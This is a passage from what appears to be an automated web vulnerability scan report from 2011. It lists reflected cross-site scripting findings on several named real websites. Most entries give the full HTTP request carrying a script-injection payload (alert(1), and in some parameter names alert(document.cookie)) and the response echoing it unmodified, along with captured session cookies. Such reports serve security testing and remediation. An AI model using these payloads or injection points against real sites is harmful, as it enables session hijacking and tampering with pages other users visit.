...[SNIP]...

1.771. http://xhtml.co.il/he/page-700/jQuery [72f1f'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb977444cfbf parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xhtml.co.il
Path:	/he/page-700/jQuery

Issue detail

The value of the 72f1f'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb977444cfbf request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload e7286><script>alert(1)</script>743a078ad1e was submitted in the 72f1f'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb977444cfbf parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /he/page-700/jQuery?72f1f'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb977444cfbf=1e7286><script>alert(1)</script>743a078ad1e HTTP/1.1
Host: xhtml.co.il
Proxy-Connection: keep-alive
Referer: http://xhtml.co.il/he/page-700/jQuery?72f1f'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb977444cfbf=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=94df923df509291d6d4c6b876602b889

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:28:04 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.9
Pragma: public
Cache-Control: maxage=5184000
Expires: Sun, 10 Apr 2011 13:28:04 GMT
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 63181

<!DOCTYPE html>
<html lang="he"><head>
<title>jQuery - ...... ........ XHTML</title>
<meta name="description" content="jQuery - ...... ........ XHTML" />
<meta charset="utf-8">
<meta name="verify-v1"
...[SNIP]...
<link rel='index' title='jQuery' href='http://xhtml.co.il//he/page-700/jQuery?72f1f'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb977444cfbf=1e7286><script>alert(1)</script>743a078ad1e' />
...[SNIP]...

1.772. http://xhtml.co.il/he/page-700/jQuery [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xhtml.co.il
Path:	/he/page-700/jQuery

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 72f1f'><script>alert(1)</script>b977444cfbf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /he/page-700/jQuery?72f1f'><script>alert(1)</script>b977444cfbf=1 HTTP/1.1
Host: xhtml.co.il
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:26:36 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.9
Pragma: public
Cache-Control: maxage=5184000
Expires: Sun, 10 Apr 2011 13:26:36 GMT
Set-Cookie: PHPSESSID=7b9e971d26ef6eb5d80cbf4e792d1b75; path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 63049

<!DOCTYPE html>
<html lang="he"><head>
<title>jQuery - ...... ........ XHTML</title>
<meta name="description" content="jQuery - ...... ........ XHTML" />
<meta charset="utf-8">
<meta name="verify-v1"
...[SNIP]...
<link rel='index' title='jQuery' href='http://xhtml.co.il//he/page-700/jQuery?72f1f'><script>alert(1)</script>b977444cfbf=1' />
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://xhtml.co.il
Path:	/ru/jQuery/%D0%9F%D0%BE%D0%B6%D0%B5%D1%80%D1%82%D0%B2%D0%BE%D0%B2%D0%B0%D1%82%D1%8C-%D0%BD%D0%B0-%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d913e"><script>alert(1)</script>7cef1aef425 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ru/jQuery/%D0%9F%D0%BE%D0%B6%D0%B5%D1%80%D1%82%D0%B2%D0%BE%D0%B2%D0%B0%D1%82%D1%8C-%D0%BD%D0%B0-%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82?d913e"><script>alert(1)</script>7cef1aef425=1 HTTP/1.1
Host: xhtml.co.il
Proxy-Connection: keep-alive
Referer: http://xhtml.co.il/ru/page-1013/jQuery.browser?2baaa'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E50c1d38299f=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=38148970.1297258072.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; PHPSESSID=94df923df509291d6d4c6b876602b889; hotlog=1; __utma=38148970.477490892.1297258072.1297258072.1297258072.1; __utmc=38148970; __utmb=38148970.3.10.1297258072

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:31:05 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.9
Pragma: public
Cache-Control: maxage=5184000
Expires: Sun, 10 Apr 2011 13:31:05 GMT
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 65159

<!DOCTYPE html>
<html lang="ru"><head>
<title>........................ .... ............ - .......... XHTML</title>
<meta name="description" content="........................ .... ............ - .....
...[SNIP]...
<a class="odkl-klass-stat" href="http://xhtml.co.il/ru/jQuery/%D0%9F%D0%BE%D0%B6%D0%B5%D1%80%D1%82%D0%B2%D0%BE%D0%B2%D0%B0%D1%82%D1%8C-%D0%BD%D0%B0-%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82?d913e"><script>alert(1)</script>7cef1aef425=1" onclick="ODKL.Share(this);return false;" >
...[SNIP]...

Summary

Severity:	High
Confidence:	Certain
Host:	http://xhtml.co.il
Path:	/ru/jQuery/%D0%9F%D0%BE%D0%B6%D0%B5%D1%80%D1%82%D0%B2%D0%BE%D0%B2%D0%B0%D1%82%D1%8C-%D0%BD%D0%B0-%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 25c3a'><script>alert(1)</script>dcbeb73c932 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ru/jQuery/%D0%9F%D0%BE%D0%B6%D0%B5%D1%80%D1%82%D0%B2%D0%BE%D0%B2%D0%B0%D1%82%D1%8C-%D0%BD%D0%B0-%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82?25c3a'><script>alert(1)</script>dcbeb73c932=1 HTTP/1.1
Host: xhtml.co.il
Proxy-Connection: keep-alive
Referer: http://xhtml.co.il/ru/page-1013/jQuery.browser?2baaa'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E50c1d38299f=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=38148970.1297258072.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; PHPSESSID=94df923df509291d6d4c6b876602b889; hotlog=1; __utma=38148970.477490892.1297258072.1297258072.1297258072.1; __utmc=38148970; __utmb=38148970.3.10.1297258072

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:31:10 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.9
Pragma: public
Cache-Control: maxage=5184000
Expires: Sun, 10 Apr 2011 13:31:10 GMT
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 65159

<!DOCTYPE html>
<html lang="ru"><head>
<title>........................ .... ............ - .......... XHTML</title>
<meta name="description" content="........................ .... ............ - .....
...[SNIP]...
...................... .... ............' href='http://xhtml.co.il//ru/jQuery/%D0%9F%D0%BE%D0%B6%D0%B5%D1%80%D1%82%D0%B2%D0%BE%D0%B2%D0%B0%D1%82%D1%8C-%D0%BD%D0%B0-%D0%BF%D1%80%D0%BE%D0%B5%D0%BA%D1%82?25c3a'><script>alert(1)</script>dcbeb73c932=1' />
...[SNIP]...

1.775. http://xhtml.co.il/ru/page-1013/jQuery.browser [2baaa'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E50c1d38299f parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xhtml.co.il
Path:	/ru/page-1013/jQuery.browser

Issue detail

The value of the 2baaa'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E50c1d38299f request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 27130><script>alert(1)</script>00820c2b36b was submitted in the 2baaa'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E50c1d38299f parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ru/page-1013/jQuery.browser?2baaa'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E50c1d38299f=127130><script>alert(1)</script>00820c2b36b HTTP/1.1
Host: xhtml.co.il
Proxy-Connection: keep-alive
Referer: http://xhtml.co.il/ru/page-1013/jQuery.browser?2baaa'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E50c1d38299f=1
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: hotlog=1; __utmz=38148970.1297258072.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; __utma=38148970.477490892.1297258072.1297258072.1297258072.1; __utmc=38148970; __utmb=38148970.1.10.1297258072; PHPSESSID=86cb34f1c9121c74893b6c08760f16a6

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:29:42 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.9
Pragma: public
Cache-Control: maxage=5184000
Expires: Sun, 10 Apr 2011 13:29:42 GMT
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 75454

<!DOCTYPE html>
<html lang="ru"><head>
<title>...................... jQuery/jQuery.browser - .......... XHTML</title>
<meta name="description" content="...................... jQuery/jQuery.browser - .
...[SNIP]...
<link rel='index' title='...................... jQuery/jQuery.browser' href='http://xhtml.co.il//ru/page-1013/jQuery.browser?2baaa'%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E50c1d38299f=127130><script>alert(1)</script>00820c2b36b' />
...[SNIP]...

1.776. http://xhtml.co.il/ru/page-1013/jQuery.browser [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xhtml.co.il
Path:	/ru/page-1013/jQuery.browser

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2baaa'><script>alert(1)</script>50c1d38299f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /ru/page-1013/jQuery.browser?2baaa'><script>alert(1)</script>50c1d38299f=1 HTTP/1.1
Host: xhtml.co.il
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 13:26:36 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_perl/2.0.4 Perl/v5.8.8
X-Powered-By: PHP/5.2.9
Pragma: public
Cache-Control: maxage=5184000
Expires: Sun, 10 Apr 2011 13:26:36 GMT
Set-Cookie: PHPSESSID=5acb4fa4326aaaafcfb6ef7e290a6131; path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 75322

<!DOCTYPE html>
<html lang="ru"><head>
<title>...................... jQuery/jQuery.browser - .......... XHTML</title>
<meta name="description" content="...................... jQuery/jQuery.browser - .
...[SNIP]...
<link rel='index' title='...................... jQuery/jQuery.browser' href='http://xhtml.co.il//ru/page-1013/jQuery.browser?2baaa'><script>alert(1)</script>50c1d38299f=1' />
...[SNIP]...

1.777. http://coderseye.com/2007/semitransparent-rollovers-made-easy-with-jquery.html [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://coderseye.com
Path:	/2007/semitransparent-rollovers-made-easy-with-jquery.html

Issue detail

The value of the Referer HTTP header is copied into the HTML document as plain text between tags. The payload 4ed5c<script>alert(1)</script>e5d0c17c16d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /2007/semitransparent-rollovers-made-easy-with-jquery.html HTTP/1.1
Host: coderseye.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=4ed5c<script>alert(1)</script>e5d0c17c16d

Response

HTTP/1.1 200 OK
Connection: close
X-Powered-By: PHP/5.2.6-1+lenny9
Set-Cookie: wassup=MGEzN2NkZTQ5NDNjODQxNDhmN2Q5NDY1N2IxZmRhY2M6OjEyOTcyNjE1NzA6Ojo6OjpmZmZmOjE3My4xOTMuMjE0LjI0Mzo6MTczLjE5My4yMTQuMjQzLXN0YXRpYy5yZXZlcnNlLnNvZnRsYXllci5jb20%253D; expires=Wed, 09-Feb-2011 14:31:10 GMT; path=/; domain=coderseye.com
X-Pingback: http://coderseye.com/xmlrpc.php
Content-Type: text/html; charset=UTF-8
Link: <http://coderseye.com/?p=88>; rel=shortlink
Date: Wed, 09 Feb 2011 13:41:10 GMT
Server: lighttpd/1.4.19
Content-Length: 77497

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US" xml:lang="en
...[SNIP]...
<a href="#high_1">4ed5c<script>alert(1)</script>e5d0c17c16d</a>
...[SNIP]...

1.778. http://ib.adnxs.com/ttj [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://ib.adnxs.com
Path:	/ttj

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d502a'-alert(1)-'a5323409b2b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /ttj?id=234606 HTTP/1.1
Host: ib.adnxs.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=d502a'-alert(1)-'a5323409b2b
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: icu=EAAYAA..; acb441436=5_[r^kI/7Zf<q<DXI#wqu6kj7?enc=chzH8f___z8AAADAzMz8PwAAAMDMzPw_AAAAAAAAAkAAAAAAAAAEQL8CRBvo-qRGBWHfHSmrEEK6fVFNAAAAALI9AwA3AQAArgAAAAIAAACP2AIAjV8AAAEAAABVU0QAVVNEANgCWgCqAQAAEwkBAgUCAAUAAAAAih100gAAAAA.&tt_code=cm.rubnydn&udj=uf%28%27a%27%2C+11344%2C+1297186234%29%3Buf%28%27c%27%2C+48740%2C+1297186234%29%3Buf%28%27g%27%2C+21324%2C+1297186234%29%3Buf%28%27r%27%2C+186511%2C+1297186234%29%3B&cnd=!QRJX3Qjk_AIQj7ELGAAgjb8BKAAxAAAAAAAABEBCEwgAEAAYACABKP7__________wFIAFAAWKoDYABorgE.; anj=Kfw)l9#saH-!h!'Ho[x:-:aO)++bIM.Zdm]UT(Wl0`Ru(Cy4DAq)yV/<%0@lB'@sa)sc^R=9OQ9)pALtH!#5!MqwKLcql0I]Ua_?LQIekve]d/XEX.Rmz!KKcKlPkZ]*(ka=)COJ!x%wPawMA(KV-.S9%KSIj@$QC7Wfg?>.?I)yaI(s=z%Q['*Wy@TGYa1YHAE.0V4!k*QqBhGoqiGZ`+!pc8g>DWwkl:J>s-c_iePnS'p/gm`=k)p_[kpsH<lV?]j_DdW!_wKR#TpP2<RMP.c^F_J5zv<LCZmMm??6Utf!>kB_Biolz:H3p^(^oz(R1sXNM`1Fi(ayuJl!uTfHHi/!x:2MM<Q^Y9f*roVI1GO4y+(VYst<fDbbFp9F`+zYxCcc^ZX5s`!VBb>6p/t[/2cS%?qXG9`gj3=kRF)A^h-]/MCeT=2(HmV'Hm0QR5iP*vd?(KygG(_Xpr9ruO8ePppk)9Uh!?YnoWjz5auqk_jKV+Ihe9ehR+=.u`g)`HO[C(HvEd!gWnT0e%Ga/U$](t1^GHITc5']dVN_3H5q/tRw2)RT_ijCJv/0<I#)+S1?e7V[WgeIX; sess=1; uuid2=4760492999213801733

Response

1.779. https://secure.watchmouse.com/en/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 89b9b'-alert(1)-'0745e2c1443 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /en/ HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=89b9b'-alert(1)-'0745e2c1443

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:37 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-dcfc2fef7316a58776430ed4f29c2f1b"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18320

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::http://www.google.com/search?hl=en&q=89b9b'-alert(1)-'0745e2c1443::en');
           var serverRef = encodeURIComponent('http://www.google.com/search?hl=en&q=89b9b'-alert(1)-'0745e2c1443');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.referre
...[SNIP]...

1.780. https://secure.watchmouse.com/en/index.php [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/index.php

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2ae24'-alert(1)-'8600771a33e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /en/index.php HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=2ae24'-alert(1)-'8600771a33e

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:43 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-7a7bcb9acf25894f3de9d4afb3009360"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18408

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::http://www.google.com/search?hl=en&q=2ae24'-alert(1)-'8600771a33e::index.php');
           var serverRef = encodeURIComponent('http://www.google.com/search?hl=en&q=2ae24'-alert(1)-'8600771a33e');
           if(document && document.referrer){
               jsRef = encodeURIComponent(document.
...[SNIP]...

1.781. https://secure.watchmouse.com/en/learn_more.php [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/learn_more.php

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 12785'-alert(1)-'56c1aad385d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /en/learn_more.php HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=12785'-alert(1)-'56c1aad385d

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:45 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 12:26:45 GMT
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 45600

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::http://www.google.com/search?hl=en&q=12785'-alert(1)-'56c1aad385d::learn_more.php');
           var serverRef = encodeURIComponent('http://www.google.com/search?hl=en&q=12785'-alert(1)-'56c1aad385d');
           if(document && document.referrer){
               jsRef = encodeURIComponent(docu
...[SNIP]...

1.782. https://secure.watchmouse.com/en/plans_price.php [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/plans_price.php

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1d3a1'-alert(1)-'088b51f227d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /en/plans_price.php HTTP/1.1
Host: secure.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=1d3a1'-alert(1)-'088b51f227d

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:26:45 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
ETag: "0-en-84dd0fb56d06f909613b76b46bac2794"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 55479

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<![CDATA[
       function checkReferrer(){
           var vref_string = encodeURIComponent('173.193.214.243::0::http://www.google.com/search?hl=en&q=1d3a1'-alert(1)-'088b51f227d::plans_price.php');
           var serverRef = encodeURIComponent('http://www.google.com/search?hl=en&q=1d3a1'-alert(1)-'088b51f227d');
           if(document && document.referrer){
               jsRef = encodeURIComponent(doc
...[SNIP]...

1.783. https://secure.watchmouse.com/en/website_monitoring_features.php [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://secure.watchmouse.com
Path:	/en/website_monitoring_features.php

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3aadc'-alert(1)-'9e50fb9d17d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

